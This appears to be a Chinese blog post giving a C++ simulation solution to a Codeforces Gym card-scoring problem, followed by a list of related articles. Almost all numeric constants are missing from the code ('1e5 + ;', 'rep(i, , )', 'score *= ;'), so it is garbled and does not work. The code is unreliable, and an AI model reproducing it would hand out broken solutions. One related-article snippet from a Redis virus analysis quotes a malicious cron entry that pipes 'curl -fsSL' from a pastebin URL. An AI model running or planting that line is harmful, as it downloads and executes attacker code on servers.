【模拟与阅读理解】Gym - 101954C Rullete
http://codeforces.com/gym/101954/problem/C
题意:14行伪代码让你翻译。
坑得yibi
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<algorithm>
#include<iostream>
#include<math.h>
#include<ctime>
#include<string>
#include<vector>
using namespace std;
typedef long long ll;
const int MAXN = 1e5 + ;
const int maxn = MAXN;
const long long MOD = 1e9 + ;
#define rep(i,t,n) for(int i =(t);i<=(n);++i)
#define per(i,n,t) for(int i =(n);i>=(t);--i)
#define mmm(a,b) memset(a,b,sizeof(a))
//#define x first
//#define y second void smain();
#define ONLINE_JUDGE
int main() { ios::sync_with_stdio(false);
#ifndef ONLINE_JUDGE
FILE *myfile;
myfile = freopen("C:\\Users\\acm-14\\Desktop\\test\\b.in", "r", stdin);
if (myfile == NULL)
fprintf(stdout, "error on input freopen\n");
FILE *outfile;
outfile = freopen("C:\\Users\\acm-14\\Desktop\\test\\out.txt", "w", stdout);
if (outfile == NULL)
fprintf(stdout, "error on output freopen\n");
long _begin_time = clock();
#endif
smain();
#ifndef ONLINE_JUDGE
long _end_time = clock();
printf("time = %ld ms.", _end_time - _begin_time);
#endif
return ;
} string cards[];
int cval[];
char ctyp[];
string crk[];
int typ[];
/*2D 5D JD KC AC*/
int score = ;
int cntmod = ;
void fff(int x) {
if (x == ) {
score++;
int tmp = ;
rep(i, , )if (crk[i] == "J")tmp++;
score += tmp * cval[];
}
if (x == ) {
//int last = score;
rep(i, , ) {
typ[ctyp[i]]++;
}
rep(i, , )if (typ[i] >= ) { score *= ; break; }
//if (last != score)cntmod++, lastmod = 2;
}
if (x == ) { //last = score;
if (typ['C'] > && typ['S'] > && typ['H'] > && typ['D'] > )score *= ;
//if (last != score)cntmod++, lastmod = 3;
}
if (x == ) {
//last = score;
score += abs(typ['C'] + typ['S'] - typ['H'] - typ['D']);
// if (last != score)cntmod++, lastmod = 4;
}
if (x == ) {
//last = score;
if (score % == ) {
int t = ;
rep(i, , score) {
if (score%i == )t += i;
}
score += t;
}
//if (last != score)cntmod++, lastmod = 5;
}//
if (x == ) {
//last = score;
int cnt7 = ;
rep(i, , )if (cval[i] == )cnt7++;
if (cnt7 == )score -= * ;
//if (last != score)cntmod++, lastmod = 6;
}
//
if (x == ) {
//last = score;
if (score >= ) {
int mn = ;
rep(i, , )mn = min(mn, cval[i]);
score += mn;
}
//if (last != score)cntmod++, lastmod = 7;
}//
if (x == ) {
//last = score;
if (score < )score *= -;
//if (last != score)cntmod++, lastmod = 8;
}//
if (x == ) {
//last = score;
if (typ['D'] >= ) {
score += ;
rep(i, , ) {
if (cval[i] == )cval[i] = , crk[i] = '';
else if (cval[i] == )cval[i] = , crk[i] = '';
else if (cval[i] == )cval[i] = , crk[i] = '';
else if (cval[i] == )cval[i] = , crk[i] = '';
}
}
//if (last != score)cntmod++, lastmod = 9;
}//
if (x == ) {
//last = score;
int a[];
int cnta = ;
rep(i, , ) {
if (crk[i] >= ""&&crk[i] <= "")a[i] = crk[i][] - '';
if (crk[i].length() == )a[i] = ;
if (crk[i] == "A")a[i] = , cnta++;;
if (crk[i] == "J")a[i] = ;
if (crk[i] == "Q")a[i] = ;
if (crk[i] == "K")a[i] = ;
}
sort(a + , a + + );
int f = ;
rep(i, , )if (a[i] != a[i + ] - )f = ; if ( f)score += cnta * ;
//if (last != score)cntmod++, lastmod = 10;
}//
if (x == ) {
//last = score;
if (cntmod > ) {
int x = score;
while (x) {
score += x & ;
x >>= ;
}
//score += __builtin_popcount(8);
}
//if (last != score)cntmod++, lastmod = 11;
}
}
void smain()
{
rep(i, , ) {
cin >> cards[i];
if (cards[i][] >= ''&&cards[i][] <= '')cval[i] = cards[i][] - '';
else cval[i] = ;
if (cards[i].length() == )cval[i] = , ctyp[i] = cards[i][],crk[i]="";
else ctyp[i] = cards[i][],crk[i]=cards[i][]; } rep(i, , )score += cval[i]; int lastmod = ;
//
score++; cntmod++;
int tmp = ;
rep(i, , )if (crk[i] == "J")tmp++;
score += tmp * cval[];
//
int last = score;
rep(i, , ) {
typ[ctyp[i]]++;
}
rep(i, , )if (typ[i] >= ) { score *= ; break; }
if (last != score)cntmod++, lastmod = ;
//
last = score;
if (typ['C'] > && typ['S'] > && typ['H'] > && typ['D'] > )score *= ;
if (last != score)cntmod++, lastmod = ;
//
last = score;
score += abs(typ['C'] + typ['S'] - typ['H'] - typ['D']);
if (last != score)cntmod++,lastmod = ;
//
last = score;
if (score % == ) {
int t = ;
rep(i, , score) {
if (score%i == )t += i;
}
score += t;
}
if (last != score)cntmod++, lastmod = ;
//
last = score;
int cnt7 = ;
rep(i, , )if (cval[i] == )cnt7++;
if (cnt7 == )score -= * ;
if (last != score)cntmod++, lastmod = ;
//
last = score;
if (score >= ) {
int mn = ;
rep(i, , )mn = min(mn, cval[i]);
score += mn;
}
if (last != score)cntmod++, lastmod = ;
//
last = score;
if (score < )score *= -;
if (last != score)cntmod++, lastmod = ;
//
last = score;
if (typ['D'] >= ) {
score += ;
rep(i, , ) {
if (cval[i] == )cval[i] = , crk[i] = "";
else if (cval[i] == )cval[i] = , crk[i] = "";
else if (cval[i] == )cval[i] = , crk[i] = "";
else if (cval[i] == )cval[i] = , crk[i] = "";
}
}
if (last != score)cntmod++, lastmod = ;
//
last = score;
int a[];
int cnta=;
rep(i, , ) {
if (crk[i] >= ""&&crk[i] <= "")a[i] = crk[i][] - '';
if (crk[i].length() == )a[i] = ;
if (crk[i] == "A")a[i] = , cnta++;;
if (crk[i] == "J")a[i] = ;
if (crk[i] == "Q")a[i] = ;
if (crk[i] == "K")a[i] = ;
}
sort(a + , a + + );
int f = ;
rep(i, , )if (a[i] != a[i + ] - )f = ; if (f)score += cnta * ;
if (last != score)cntmod++, lastmod = ;
//
last = score;
if (cntmod > ) {
int x = score;
while (x) {
score += x & ;
x >>= ;
}
//score += __builtin_popcount(8);
}
if (last != score)cntmod++, lastmod = ;
//
rep(i, , ) {
if (cval[i] == ) {
fff(lastmod);
break;
}
}
//
rep(i, , ) {
if (cval[i] == ) {
if(score>=) { score *= ; break; } }
}
cout << score << endl; //int n;
//cin >> n;
}
/*,
o:o
:o:
o:o
33333333333
QC 8D JD 10S 9D
2D 5D JD KC AC
*/
【模拟与阅读理解】Gym - 101954C Rullete的更多相关文章
- HTTPS强制安全策略-HSTS协议阅读理解
https://developer.mozilla.org/en-US/docs/Web/Security/HTTP_strict_transport_security [阅读理解式翻译,非严格遵循原 ...
- Codeforces#543 div2 A. Technogoblet of Fire(阅读理解)
题目链接:http://codeforces.com/problemset/problem/1121/A 真·阅读理解 题意就是 有n个人 pi表示他们的强度 si表示他们来自哪个学校 现在Arkad ...
- 用Keras搞一个阅读理解机器人
catalogue . 训练集 . 数据预处理 . 神经网络模型设计(对话集 <-> 问题集) . 神经网络模型设计(问题集 <-> 回答集) . RNN神经网络 . 训练 . ...
- Tensorflow做阅读理解与完形填空
catalogue . 前言 . 使用的数据集 . 数据预处理 . 训练 . 测试模型运行结果: 进行实际完形填空 0. 前言 开始写这篇文章的时候是晚上12点,突然想到几点新的理解,赶紧记下来.我们 ...
- P3879 [TJOI2010]阅读理解 题解
P3879 [TJOI2010]阅读理解 题解 题目描述 英语老师留了N篇阅读理解作业,但是每篇英文短文都有很多生词需要查字典,为了节约时间,现在要做个统计,算一算某些生词都在哪几篇短文中出现过. 输 ...
- 阅读关于DuReader:百度大规模的中文机器阅读理解数据集
很久之前就得到了百度机器阅读理解关于数据集的这篇文章,今天才进行总结!.... 论文地址:https://arxiv.org/abs/1711.05073 自然语言处理是人工智能皇冠上的明珠,而机器阅 ...
- Trie树【P3879】 [TJOI2010]阅读理解
Description 英语老师留了N篇阅读理解作业,但是每篇英文短文都有很多生词需要查字典,为了节约时间,现在要做个统计,算一算某些生词都在哪几篇短文中出现过. Input 第一行为整数N,表示短文 ...
- Trie树【洛谷P3879】 [TJOI2010]阅读理解
P3879 [TJOI2010]阅读理解 题目描述 英语老师留了N篇阅读理解作业,但是每篇英文短文都有很多生词需要查字典,为了节约时间,现在要做个统计,算一算某些生词都在哪几篇短文中出现过. 输入输出 ...
- P3879 [TJOI2010]阅读理解
\(\color{#0066ff}{ 题目描述 }\) 英语老师留了N篇阅读理解作业,但是每篇英文短文都有很多生词需要查字典,为了节约时间,现在要做个统计,算一算某些生词都在哪几篇短文中出现过. \( ...
随机推荐
- Mysql中的定时任务
一.说明 后台周期定时任务可以有多种解决方案,我所知道的大概有以下几种: 后台框架自带定时任务.比如php中的Laravel框架里有提供定时任务操作接口,其他的框架大家可以单独针对了解. 服务器操作系 ...
- 记一次redis病毒分析笔记
起因 偶然间发现redis里有一个陌生key:tightsoft,它的值是:*/1 * * * * root curl -fsSL https://pastebin.com/raw/xbY7p5Tb| ...
- ffmpeg中AVOption的实现分析
[时间:2017-10] [状态:Open] [关键词:ffmpeg,avutil,AVOption] 0 引言 AVOptions提供了一种通用的options机制,可以用于任意特定结构的对象. 本 ...
- [C++]Qt 如何处理密集型耗时的事情(频繁调用QApplication::processEvents)
https://www.cnblogs.com/senior-engineer/p/5598133.html https://www.cnblogs.com/findumars/p/5607683.h ...
- layer 关闭当前弹出层
关闭当前框的弹出层 layer.close(layer.index); 刷新父层 parent.location.reload(); // 父页面刷新 关闭iframe 弹出的全屏层 var inde ...
- go get fatal: could not read Username for 'https://code.xxx.org': terminal prompts disabled
用go get下载私有代码库的时候,莫名其妙产生了以下错误,公有代码库没有影响. chenchideMacBook-Pro:~ chenchi$ go get code.xxx.org/adarch/ ...
- 前后端分离springmvc和RESTful理解
1. 理解MVC MVC是一种经典的设计模式,全名为Model-View-Controller,即模型-视图-控制器. 其中,模型是用于封装数据的载体,例如,在Java中一般通过一个简单的POJO(P ...
- 解决space-between最后一排问题
display:flex + justify-content: space-between 能够实现2端对齐的布局,这种布局在网页中很常见.不过这种布局方式有一个问题.举个例子,我们假设现在一排放4个 ...
- 给centos7.3添加中文拼音输入法输入汉字
https://jingyan.baidu.com/article/86f4a73eaa0a6337d6526985.html
- 【转】Flask入门之上传文件到服务器
#Sample.py # coding:utf-8 from flask import Flask,render_template,request,redirect,url_for from werk ...